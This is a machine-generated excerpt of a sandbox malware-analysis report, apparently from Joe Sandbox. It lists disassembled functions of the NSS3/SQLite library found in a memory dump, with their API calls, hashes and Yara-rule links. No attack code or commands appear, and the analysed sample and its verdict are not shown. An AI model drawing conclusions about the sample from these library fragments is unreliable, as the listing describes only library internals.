Associated: 00000000.00000002.2706824364.000000006CBE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: sqlite3_value_text$sqlite3_value_blob$memcmpsqlite3_result_error_nomem
String ID:
API String ID: 1920323672-0
Opcode ID: c097597f5897823b7e6e639fc33112886bf185cd7212d5e2dd346b4e2098714f
Instruction ID: 7912813dfa459c45bbe23fb3c05e945d0bcc0106ad0eaeebdbe971840bd705e0
Opcode Fuzzy Hash: c097597f5897823b7e6e639fc33112886bf185cd7212d5e2dd346b4e2098714f
Instruction Fuzzy Hash: 4961D3B9E052468BDB11CFA8C9407EEB7B2BF45308F184169D815EB751E7329C5ACBB0

Function 6CAE8F80 Relevance: 12.2, APIs: 8, Instructions: 158memoryCOMMON

Download Yara Rule

APIs

SECOID_FindOID_Util.NSS3(?,?,FFFFE005,?,6CAE7313), ref: 6CAE8FBB

Part of subcall function 6CAE07B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6CA88298,?,?,?,6CA7FCE5,?), ref: 6CAE07BF
Part of subcall function 6CAE07B0: PL_HashTableLookup.NSS3(?,?), ref: 6CAE07E6
Part of subcall function 6CAE07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CAE081B
Part of subcall function 6CAE07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CAE0825

SECOID_FindOID_Util.NSS3(?,?,?,FFFFE005,?,6CAE7313), ref: 6CAE9012
SECOID_FindOID_Util.NSS3(?,?,?,?,FFFFE005,?,6CAE7313), ref: 6CAE903C
SECITEM_CompareItem_Util.NSS3(?,?,?,?,?,?,FFFFE005,?,6CAE7313), ref: 6CAE909E
PORT_ArenaGrow_Util.NSS3(?,?,?,00000001,?,?,?,?,?,?,FFFFE005,?,6CAE7313), ref: 6CAE90DB
PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,?,?,?,?,FFFFE005,?,6CAE7313), ref: 6CAE90F1

Part of subcall function 6CAE10C0: TlsGetValue.KERNEL32(?,6CA88802,00000000,00000008,?,6CA7EF74,00000000), ref: 6CAE10F3
Part of subcall function 6CAE10C0: EnterCriticalSection.KERNEL32(?,?,6CA88802,00000000,00000008,?,6CA7EF74,00000000), ref: 6CAE110C
Part of subcall function 6CAE10C0: PL_ArenaAllocate.NSS3(?,?,?,6CA88802,00000000,00000008,?,6CA7EF74,00000000), ref: 6CAE1141
Part of subcall function 6CAE10C0: PR_Unlock.NSS3(?,?,?,6CA88802,00000000,00000008,?,6CA7EF74,00000000), ref: 6CAE1182
Part of subcall function 6CAE10C0: TlsGetValue.KERNEL32(?,6CA88802,00000000,00000008,?,6CA7EF74,00000000), ref: 6CAE119C

PR_SetError.NSS3(FFFFE005,00000000,?,?,?,FFFFE005,?,6CAE7313), ref: 6CAE906B

Part of subcall function 6CB2C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CB2C2BF

PR_SetError.NSS3(FFFFE005,00000000,?,FFFFE005,?,6CAE7313), ref: 6CAE9128

Memory Dump Source

Source File: 00000000.00000002.2706488419.000000006CA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2706463160.000000006CA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706693269.000000006CB9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706736327.000000006CBDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706753326.000000006CBDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706807292.000000006CBE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706824364.000000006CBE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: Util$Error$ArenaFindValue$HashLookupTable$Alloc_AllocateCompareConstCriticalEnterGrow_Item_SectionUnlock
String ID:
API String ID: 3590961175-0
Opcode ID: 2fc2936615f096d3f3ee8ad3ca23cfff263c484281e358dca533e153235934d8
Instruction ID: 49032d198e7b5ffa3872aeca79a33ad791dcb71d4e0fbff2eeb798cdcc8b6a66
Opcode Fuzzy Hash: 2fc2936615f096d3f3ee8ad3ca23cfff263c484281e358dca533e153235934d8
Instruction Fuzzy Hash: AA517E71A003018BEB50DF7ADE44BA6B3F9AF48318F194029D915D7B61EB31E884DBD1

Function 6CAEC6E0 Relevance: 12.1, APIs: 8, Instructions: 149COMMON

Download Yara Rule

APIs

SECOID_FindOID_Util.NSS3(?,?,?,?,?,?,6CAE71CF,?), ref: 6CAEC70F

Part of subcall function 6CAE07B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6CA88298,?,?,?,6CA7FCE5,?), ref: 6CAE07BF
Part of subcall function 6CAE07B0: PL_HashTableLookup.NSS3(?,?), ref: 6CAE07E6
Part of subcall function 6CAE07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CAE081B
Part of subcall function 6CAE07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CAE0825

CERT_DestroyCertificate.NSS3(?,?,?,?,?,?,6CAE71CF,?), ref: 6CAEC7B1

Part of subcall function 6CA895B0: TlsGetValue.KERNEL32(00000000,?,6CAA00D2,00000000), ref: 6CA895D2
Part of subcall function 6CA895B0: EnterCriticalSection.KERNEL32(?,?,?,6CAA00D2,00000000), ref: 6CA895E7
Part of subcall function 6CA895B0: PR_Unlock.NSS3(?,?,?,?,6CAA00D2,00000000), ref: 6CA89605

PORT_FreeArena_Util.NSS3(?,00000000,?,?,?,?,?,6CAE71CF,?), ref: 6CAEC7D5
CERT_DestroyCertificate.NSS3(?,?,?,?,?,?,6CAE71CF,?), ref: 6CAEC811
CERT_DestroyCertificate.NSS3(?,?,?,?,?,?,6CAE71CF,?), ref: 6CAEC841
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CAEC855
PORT_FreeArena_Util.NSS3(?,00000000,?,?,?,?,?,6CAE71CF,?), ref: 6CAEC868

Memory Dump Source

Source File: 00000000.00000002.2706488419.000000006CA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2706463160.000000006CA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706693269.000000006CB9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706736327.000000006CBDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706753326.000000006CBDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706807292.000000006CBE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706824364.000000006CBE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: Util$Arena_CertificateDestroyFree$ErrorHashLookupTable$ConstCriticalEnterFindSectionUnlockValue
String ID:
API String ID: 1768726504-0
Opcode ID: fc537cff35ca18c10af1df844d24871b5193ba69ef4e89025439c59b561f8c00
Instruction ID: abb5aad97b8be2966706773f793e1d712c0c8175ed3df756bd0d627f5ced0a31
Opcode Fuzzy Hash: fc537cff35ca18c10af1df844d24871b5193ba69ef4e89025439c59b561f8c00
Instruction Fuzzy Hash: 82418271E012119BF710AE1ADE84B567BA9AF0975CB2D0128DC28DBB52F760F884D7D1

Function 6CAD2470 Relevance: 12.1, APIs: 8, Instructions: 141COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(6CAD2D7C,6CAA9192,?), ref: 6CAD248E
EnterCriticalSection.KERNEL32(02B80138), ref: 6CAD24A2
memset.VCRUNTIME140(6CAD2D7C,00000020,6CAD2D5C), ref: 6CAD250E
memset.VCRUNTIME140(6CAD2D9C,00000020,6CAD2D7C), ref: 6CAD2535
memset.VCRUNTIME140(?,00000020,?), ref: 6CAD255C
memset.VCRUNTIME140(?,00000020,?), ref: 6CAD2583
PR_Unlock.NSS3(?), ref: 6CAD2594
PR_SetError.NSS3(00000000,00000000), ref: 6CAD25AF

Part of subcall function 6CB2C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CB2C2BF

Memory Dump Source

Source File: 00000000.00000002.2706488419.000000006CA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2706463160.000000006CA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706693269.000000006CB9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706736327.000000006CBDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706753326.000000006CBDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706807292.000000006CBE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706824364.000000006CBE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: memset$Value$CriticalEnterErrorSectionUnlock
String ID:
API String ID: 2972906980-0
Opcode ID: 433c40266778f9be200d85c54b4bd4f4ebc9ebe9de3c32d4271d540a4d75801f
Instruction ID: 744f2712fdea8d8a8f6775906d41a1c03fcdcf8f27bfe8f1d2e352fe9fa06246
Opcode Fuzzy Hash: 433c40266778f9be200d85c54b4bd4f4ebc9ebe9de3c32d4271d540a4d75801f
Instruction Fuzzy Hash: B141F1B1E102419BEB009F78DC98BAA3774FB99309F1A0669EC05D7652F774FAC4C291

Function 6CAD05A0 Relevance: 12.1, APIs: 8, Instructions: 127memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(00000000), ref: 6CAD05DA

Part of subcall function 6CAE0BE0: malloc.MOZGLUE(6CAD8D2D,?,00000000,?), ref: 6CAE0BF8
Part of subcall function 6CAE0BE0: TlsGetValue.KERNEL32(6CAD8D2D,?,00000000,?), ref: 6CAE0C15

TlsGetValue.KERNEL32(00000000), ref: 6CAD060C
EnterCriticalSection.KERNEL32 ref: 6CAD0629
TlsGetValue.KERNEL32(00000000), ref: 6CAD066F
EnterCriticalSection.KERNEL32 ref: 6CAD068C
PR_Unlock.NSS3 ref: 6CAD06AA
PK11_GetNextSafe.NSS3 ref: 6CAD06C3
PR_Unlock.NSS3 ref: 6CAD06F9

Memory Dump Source

Source File: 00000000.00000002.2706488419.000000006CA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2706463160.000000006CA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706693269.000000006CB9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706736327.000000006CBDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706753326.000000006CBDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706807292.000000006CBE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706824364.000000006CBE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: Value$CriticalEnterSectionUnlock$Alloc_K11_NextSafeUtilmalloc
String ID:
API String ID: 1593870348-0
Opcode ID: 67e33f857ed94c869946910935997d3546a3f279b1ede9fdbcb8605e5cac44f5
Instruction ID: 5a8c27b02de88a766390764aa23a99b814550ec487a1cd6b75c6661446215f89
Opcode Fuzzy Hash: 67e33f857ed94c869946910935997d3546a3f279b1ede9fdbcb8605e5cac44f5
Instruction Fuzzy Hash: 60513AB4A05B46CFDB00DF78C5846AABBF0FF45304F158929D8999B701EB70E484CB91

Function 6CADA470 Relevance: 12.1, APIs: 8, Instructions: 120memoryCOMMON

Download Yara Rule

APIs

SECOID_FindOIDByTag_Util.NSS3(?), ref: 6CADA4A6

Part of subcall function 6CAE0840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CAE08B4

PORT_Alloc_Util.NSS3(?), ref: 6CADA4EC

Part of subcall function 6CAE0BE0: malloc.MOZGLUE(6CAD8D2D,?,00000000,?), ref: 6CAE0BF8
Part of subcall function 6CAE0BE0: TlsGetValue.KERNEL32(6CAD8D2D,?,00000000,?), ref: 6CAE0C15

memcpy.VCRUNTIME140(-00000006,?,?), ref: 6CADA527
memcmp.VCRUNTIME140(00000006,?,?), ref: 6CADA56D
memcmp.VCRUNTIME140(00000006,00000006,00000004), ref: 6CADA583
PR_SetError.NSS3(FFFFE00A,00000000), ref: 6CADA596
free.MOZGLUE(?), ref: 6CADA5A4
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CADA5B6

Memory Dump Source

Source File: 00000000.00000002.2706488419.000000006CA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2706463160.000000006CA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706693269.000000006CB9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706736327.000000006CBDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706753326.000000006CBDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706807292.000000006CBE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706824364.000000006CBE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: Error$Utilmemcmp$Alloc_FindTag_Valuefreemallocmemcpy
String ID:
API String ID: 3906949479-0
Opcode ID: cfebda63f1bc4a4daf57e73494f3f01ddd649826d5dc2dded354bfafcd07401c
Instruction ID: ca92ce2920ec9e299fe0cc5eafa27e9c827cc11a815873c118406e3274761ff1
Opcode Fuzzy Hash: cfebda63f1bc4a4daf57e73494f3f01ddd649826d5dc2dded354bfafcd07401c
Instruction Fuzzy Hash: E941E635A012819FDB00CF59CC40B9ABB72BF45308F198468D8595BB41E731FE59C7A1

Function 6CB9A6F0 Relevance: 12.1, APIs: 8, Instructions: 117threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CB49890: TlsGetValue.KERNEL32(?,?,?,6CB497EB), ref: 6CB4989E

EnterCriticalSection.KERNEL32(?), ref: 6CB9A712
_PR_MD_UNLOCK.NSS3(?), ref: 6CB9A76D

Part of subcall function 6CB470F0: LeaveCriticalSection.KERNEL32(6CB90C7B), ref: 6CB4710D

calloc.MOZGLUE(00000001,0000000C), ref: 6CB9A779
_PR_CreateThread.NSS3(00000000,6CB99EA0,?,00000001,00000001,00000000,?,00000000), ref: 6CB9A79B
free.MOZGLUE(00000000), ref: 6CB9A7AB
EnterCriticalSection.KERNEL32(?), ref: 6CB9A7C5
_PR_MD_NOTIFY_CV.NSS3(?), ref: 6CB9A7FC
_PR_MD_UNLOCK.NSS3(?), ref: 6CB9A824

Memory Dump Source

Source File: 00000000.00000002.2706488419.000000006CA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2706463160.000000006CA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706693269.000000006CB9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706736327.000000006CBDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706753326.000000006CBDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706807292.000000006CBE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706824364.000000006CBE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: CriticalSection$Enter$CreateLeaveThreadValuecallocfree
String ID:
API String ID: 3459369588-0
Opcode ID: ce63f6a294abfd21a2d18dbc5abfa3c47f026905d966adcb543e0a79740d9c7c
Instruction ID: 78a674e5cb3202a1454250408e7cc7c2be034e7436a1ebfc90cc1dba940f90bf
Opcode Fuzzy Hash: ce63f6a294abfd21a2d18dbc5abfa3c47f026905d966adcb543e0a79740d9c7c
Instruction Fuzzy Hash: 6D4149B5D007019FC710DF29C88196ABBF8FF59209B148A2AD85AD7B11E731F855CFA1

Function 6CAC66B0 Relevance: 12.1, APIs: 8, Instructions: 109stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,00000010,00000000), ref: 6CAC66D0
realloc.MOZGLUE(?,?,?,?,?,00000010,00000000), ref: 6CAC66FB

Part of subcall function 6CAE4540: PORT_ZAlloc_Util.NSS3(00000001,?,-00000001,-00000001,?,6CAC6725,?,00000022,?,?,?,?,?,00000010,00000000), ref: 6CAE4581

memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,?,00000010,00000000), ref: 6CAC673A
memcpy.VCRUNTIME140(00000001,00000000,-00000001,?,?,?,?,?,?,?,?,?,?,00000010,00000000), ref: 6CAC6757
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00000010,00000000), ref: 6CAC676E
memcpy.VCRUNTIME140(6CABC79F,?,?,?,?,?,00000010,00000000), ref: 6CAC6781
memcpy.VCRUNTIME140(00000001,?,-00000001,?,?,?,?,?,?,00000010,00000000), ref: 6CAC679D
PR_SetError.NSS3(FFFFE013,00000000,?,?,?,00000010,00000000), ref: 6CAC67BC

Memory Dump Source

Source File: 00000000.00000002.2706488419.000000006CA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2706463160.000000006CA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706693269.000000006CB9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706736327.000000006CBDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706753326.000000006CBDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706807292.000000006CBE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706824364.000000006CBE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: memcpy$Alloc_ErrorUtilfreereallocstrlen
String ID:
API String ID: 922128022-0
Opcode ID: e0a7514fccfedaad7a4ad70b6807e529cd2d0c78cf6e99fb7a266382ba3ca405
Instruction ID: 01c29d39b78b159146fe2c0c589850e631237fe9328c2f6e72b36daecd3fe26e
Opcode Fuzzy Hash: e0a7514fccfedaad7a4ad70b6807e529cd2d0c78cf6e99fb7a266382ba3ca405
Instruction Fuzzy Hash: BE31A872900255AFDB11CF94DC459BF77B8FF95314B140429E8549B340EB32A929C7E2

Function 6CAA4E50 Relevance: 12.1, APIs: 8, Instructions: 97COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CAA4E90
EnterCriticalSection.KERNEL32 ref: 6CAA4EA9
TlsGetValue.KERNEL32 ref: 6CAA4EC6
EnterCriticalSection.KERNEL32 ref: 6CAA4EDF
PL_HashTableLookup.NSS3 ref: 6CAA4EF8
PR_Unlock.NSS3 ref: 6CAA4F05
PR_Now.NSS3 ref: 6CAA4F13
PR_Unlock.NSS3 ref: 6CAA4F3A

Part of subcall function 6CA707A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CA0204A), ref: 6CA707AD
Part of subcall function 6CA707A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CA0204A), ref: 6CA707CD
Part of subcall function 6CA707A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CA0204A), ref: 6CA707D6
Part of subcall function 6CA707A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CA0204A), ref: 6CA707E4
Part of subcall function 6CA707A0: TlsSetValue.KERNEL32(00000000,?,6CA0204A), ref: 6CA70864
Part of subcall function 6CA707A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CA70880
Part of subcall function 6CA707A0: TlsSetValue.KERNEL32(00000000,?,?,6CA0204A), ref: 6CA708CB
Part of subcall function 6CA707A0: TlsGetValue.KERNEL32(?,?,6CA0204A), ref: 6CA708D7
Part of subcall function 6CA707A0: TlsGetValue.KERNEL32(?,?,6CA0204A), ref: 6CA708FB

Memory Dump Source

Source File: 00000000.00000002.2706488419.000000006CA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2706463160.000000006CA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706693269.000000006CB9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706736327.000000006CBDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706753326.000000006CBDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706807292.000000006CBE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706824364.000000006CBE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: Value$CriticalEnterSectionUnlockcalloc$HashLookupTable
String ID:
API String ID: 326028414-0
Opcode ID: 1ec2521ce0084b20537405ccf0e325fba5bd59241882f04731a4fdbd97254c3c
Instruction ID: 4c6a29b6abc18cf09000972af80b1735e71a0af2ccfa22a8ccd5de59a8968ed4
Opcode Fuzzy Hash: 1ec2521ce0084b20537405ccf0e325fba5bd59241882f04731a4fdbd97254c3c
Instruction Fuzzy Hash: 0A4148B4A04A058FCB00EF78D1848AABBF4FF49354B158669EC599B711EB30E895CBD1

Function 6CB2A7D0 Relevance: 12.1, APIs: 8, Instructions: 64memoryCOMMON

Download Yara Rule

APIs

PORT_ZAlloc_Util.NSS3(0000002C,00000000,6CB12AE9,?,6CB2A98D,?,?,?,?), ref: 6CB2A7D7

Part of subcall function 6CAE0D30: calloc.MOZGLUE ref: 6CAE0D50
Part of subcall function 6CAE0D30: TlsGetValue.KERNEL32 ref: 6CAE0D6D

SECITEM_CopyItem_Util.NSS3(00000000,-00000014,?,0000065C), ref: 6CB2A80B

Part of subcall function 6CADFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6CAD8D2D,?,00000000,?), ref: 6CADFB85
Part of subcall function 6CADFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6CADFBB1

PK11_FreeSymKey.NSS3(?,?,?,?,?,?,0000065C), ref: 6CB2A82E

Part of subcall function 6CACADC0: TlsGetValue.KERNEL32(?,6CAACDBB,?,6CAAD079,00000000,00000001), ref: 6CACAE10
Part of subcall function 6CACADC0: EnterCriticalSection.KERNEL32(?,?,6CAACDBB,?,6CAAD079,00000000,00000001), ref: 6CACAE24
Part of subcall function 6CACADC0: PR_Unlock.NSS3(?,?,?,?,?,?,6CAAD079,00000000,00000001), ref: 6CACAE5A
Part of subcall function 6CACADC0: memset.VCRUNTIME140(85145F8B,00000000,8D1474DB,?,6CAACDBB,?,6CAAD079,00000000,00000001), ref: 6CACAE6F
Part of subcall function 6CACADC0: free.MOZGLUE(85145F8B,?,?,?,?,6CAACDBB,?,6CAAD079,00000000,00000001), ref: 6CACAE7F
Part of subcall function 6CACADC0: TlsGetValue.KERNEL32(?,6CAACDBB,?,6CAAD079,00000000,00000001), ref: 6CACAEB1
Part of subcall function 6CACADC0: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,6CAACDBB,?,6CAAD079,00000000,00000001), ref: 6CACAEC9

PK11_FreeSymKey.NSS3(?,?,?,?,?,?,0000065C), ref: 6CB2A845
SECITEM_ZfreeItem_Util.NSS3(-00000014,00000000,?,?,?,?,?,0000065C), ref: 6CB2A857
free.MOZGLUE(00000000,?,?,?,?,?,?,?,0000065C), ref: 6CB2A860
PR_SetError.NSS3(FFFFE013,00000000,?,?,?,0000065C), ref: 6CB2A81E

Part of subcall function 6CB2C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CB2C2BF

PR_SetError.NSS3(FFFFE013,00000000,0000065C), ref: 6CB2A872

Memory Dump Source

Source File: 00000000.00000002.2706488419.000000006CA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2706463160.000000006CA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706693269.000000006CB9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706736327.000000006CBDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706753326.000000006CBDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706807292.000000006CBE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706824364.000000006CBE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: UtilValue$Alloc_CriticalEnterErrorFreeItem_K11_Sectionfree$ArenaCopyUnlockZfreecallocmemcpymemset
String ID:
API String ID: 1855126447-0
Opcode ID: 895d4a2e5920430dcde21465c3447683ee26b53a59d79cc97e305622bff5a9fe
Instruction ID: 2fd55c67cee5f8afbedc2a39b8dacb352aeb9012b2866cf81e6d6e517a0d1eec
Opcode Fuzzy Hash: 895d4a2e5920430dcde21465c3447683ee26b53a59d79cc97e305622bff5a9fe
Instruction Fuzzy Hash: 4911E3B5A0034157FB209A69AC05F677798DF4475DF144038ED1E9BB81FB38F40A8AA3

Function 6CA765D0 Relevance: 10.8, APIs: 4, Strings: 3, Instructions: 261COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6CA7670B
LeaveCriticalSection.KERNEL32(?,?,?,00000000,?,6CA72B2C), ref: 6CA7675E
EnterCriticalSection.KERNEL32(?), ref: 6CA7678E
LeaveCriticalSection.KERNEL32(?,?,?,00000000,?,6CA72B2C), ref: 6CA767E1

Strings

winUnmapfile1, xrefs: 6CA76964
winUnmapfile2, xrefs: 6CA7698B
winClose, xrefs: 6CA768C5

Memory Dump Source

Source File: 00000000.00000002.2706488419.000000006CA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2706463160.000000006CA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706693269.000000006CB9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706736327.000000006CBDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706753326.000000006CBDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706807292.000000006CBE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706824364.000000006CBE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID: winClose$winUnmapfile1$winUnmapfile2
API String ID: 3168844106-373099266
Opcode ID: 5cd957962841b533421dc71a897cff0ce37646ecc41783e5a73db04498499bae
Instruction ID: e46d4978a8a30e21b564f6ca20ba364a2efb99ea90621f7ff8df9d5d4793f26f
Opcode Fuzzy Hash: 5cd957962841b533421dc71a897cff0ce37646ecc41783e5a73db04498499bae
Instruction Fuzzy Hash: B6A19539B01210CBDF589FA4E8A976D3779BF0AB55B180038E906D7741DB34E981CFA1

Function 6CA1A630 Relevance: 10.7, APIs: 7, Instructions: 192COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,00000000,6CBE1308,?,?,6CA16ABD,00000000), ref: 6CA1A6B7
LeaveCriticalSection.KERNEL32(?), ref: 6CA1A70A
EnterCriticalSection.KERNEL32(?,00000000,6CBE1308,?,?,6CA16ABD,00000000), ref: 6CA1A73A
LeaveCriticalSection.KERNEL32(?), ref: 6CA1A78D
EnterCriticalSection.KERNEL32(?,00000000,6CBE1308,?,?,6CA16ABD,00000000), ref: 6CA1A7CA
LeaveCriticalSection.KERNEL32(?), ref: 6CA1A821
sqlite3_free.NSS3(?,00000000,6CBE1308,?,?,6CA16ABD,00000000), ref: 6CA1A8A6

Part of subcall function 6CA09EE0: EnterCriticalSection.KERNEL32(?,?,?,?,6CA1C6FD,?,?,?,?,6CA6F965,00000000), ref: 6CA09F0E
Part of subcall function 6CA09EE0: LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,6CA6F965,00000000), ref: 6CA09F5D

Memory Dump Source

Source File: 00000000.00000002.2706488419.000000006CA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2706463160.000000006CA00000.00000002.00000001.01000000.00000009.sdmpDownload File
